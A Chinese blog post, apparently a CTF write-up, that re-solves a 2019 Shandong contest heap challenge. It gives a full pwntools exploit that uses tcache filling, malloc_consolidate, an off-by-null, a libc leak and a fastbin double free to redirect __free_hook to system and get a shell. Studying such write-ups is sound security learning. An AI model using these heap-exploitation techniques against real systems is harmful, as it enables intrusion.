前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >深思杯PWN复现(二)

深思杯PWN复现(二)

作者头像
yichen
发布2020-10-28 10:44:46
3830
发布2020-10-28 10:44:46
举报

2019山东省省赛的第三道 PWN 题目

题目链接:

https://pan.baidu.com/s/17FK07Z0MQUGHB52rm8Ss4A

提取码: isy6

参考:

https://wzt.ac.cn/2019/11/04/sdnisc2019

完整 EXP:

代码语言:javascript
复制
# encoding=utf-8
from pwn import *
#context.log_level = 'debug'
p = process("./pwn")
elf = ELF("./pwn")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(index,leng,content):
  p.sendlineafter("Your choice: ","1")
  p.sendlineafter("Index: ",str(index))
  p.sendlineafter("note len: ",str(leng))
  p.sendlineafter("content: ",content)
  
def check(index):
  p.sendlineafter("Your choice: ","2")
  p.sendlineafter("Index: ",str(index))
  
def delete(index):
  p.sendlineafter("Your choice: ","3")
  p.sendlineafter("Index: ",str(index))

for i in range(25):
  add(i,0x78,'aaaa'+str(i))#0-24

for i in range(7):
  delete(i)#0-6

delete(10)
delete(11)
delete(12)
delete(13)
delete(14)
delete(15)
p.sendlineafter("Your choice: ",'1'*0x600)
p.sendlineafter("Index: ","50")# >31

for i in range(7):
  add(i,0x78,'bbbb'+str(i))#0-6

add(25, 0x78, '25'+"b" * 0x76)#off by null 0x280->0x200
add(26, 0x78, '26'+"b" * 0x6e)
add(27, 0x78, '27'+"b" * 0x6e)
add(28, 0x78, '28'+"b" * 0x6e)
add(29, 0x78, '29'+"b" * 0x6e)
add(30, 0x78, "/bin/sh\x00")

for i in range(7):
  delete(i)#0-6 tcache

delete(16)
delete(26)
p.sendlineafter("Your choice: ",'1'*0x600)
p.sendlineafter("Index: ","50")# >31

for i in range(7):
    add(i, 0x78, "tcache"+str(i))    # clear tcache

add(31, 0x78, "aaaa31")
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline("27")
p.recvuntil("Content: ")
libc_addr = u64(p.recv(6).ljust(8, '\x00')) - 96 - 0x3ebc40
free_hook = libc_addr + libc.symbols['__free_hook']
system = libc_addr + libc.symbols["system"]

add(10, 0x78, "aaaa10")
delete(10)
delete(27)
add(10, 0x78, p64(free_hook))
add(11, 0x78, p64(free_hook))
add(12, 0x78, p64(system))

p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline("30")
p.interactive()

这个题目配了个 libc 2.27 的,所以应该是在 ubuntu 18 下的

限制了 size 的大小要小于等于 0x78,存在 off by null

首先把 tcache 填满,接下来 free 的那些就会放到 fastbin 中了

如果 scanf 读入的是一个很大的数的话他就会去申请一块空间,如果这个空间申请的足够大就能触发 malloc_consolidate,从而合并 fastbin 放到 unsorted bin 中去

所以,我们在 scanf 的时候去发送很大的一个数比如 '1'*600 就能让前面那些 fastbin 合并

再把之前放在 tcache 中的申请回来,然后去申请一个 chunk,正常情况应该是:把 unsorted bin 中那块 0x300 分成 0x80 与 0x280,但是如果全部写上加上后面那个 off by null 就会把 0x280 的 size 给改掉,改为 0x200

然后把那 0x200 申请掉,再申请的话就从 top chunk 中划分了(/bin/sh 那个),但是此时图中 aaaa16 那里的 prev_size 依然是 0x280

这时候先把 tcache 填满了,再去 free 掉 aaaa16 那个,然后再次触发 malloc_consolidate 就会再给我们一个 0x300 大小的 free chunk(aaaa16 跟它前面那块)

先把 tcache 中的都申请完,然后再去申请一个,现在再去 check index27 的就能泄露出 unsorted bin 的地址

然后申请一个 index10,这时候正好申请到 index27 那里,那么接下来就是 fastbin double free 了,可以对着这个释放两次,一次 free(index27),一次 free(index10),然后把 free_hook 改为 system 的地址,然后去 free(index30) 也就是前面写入 /bin/sh 的那一个 chunk

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-10-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档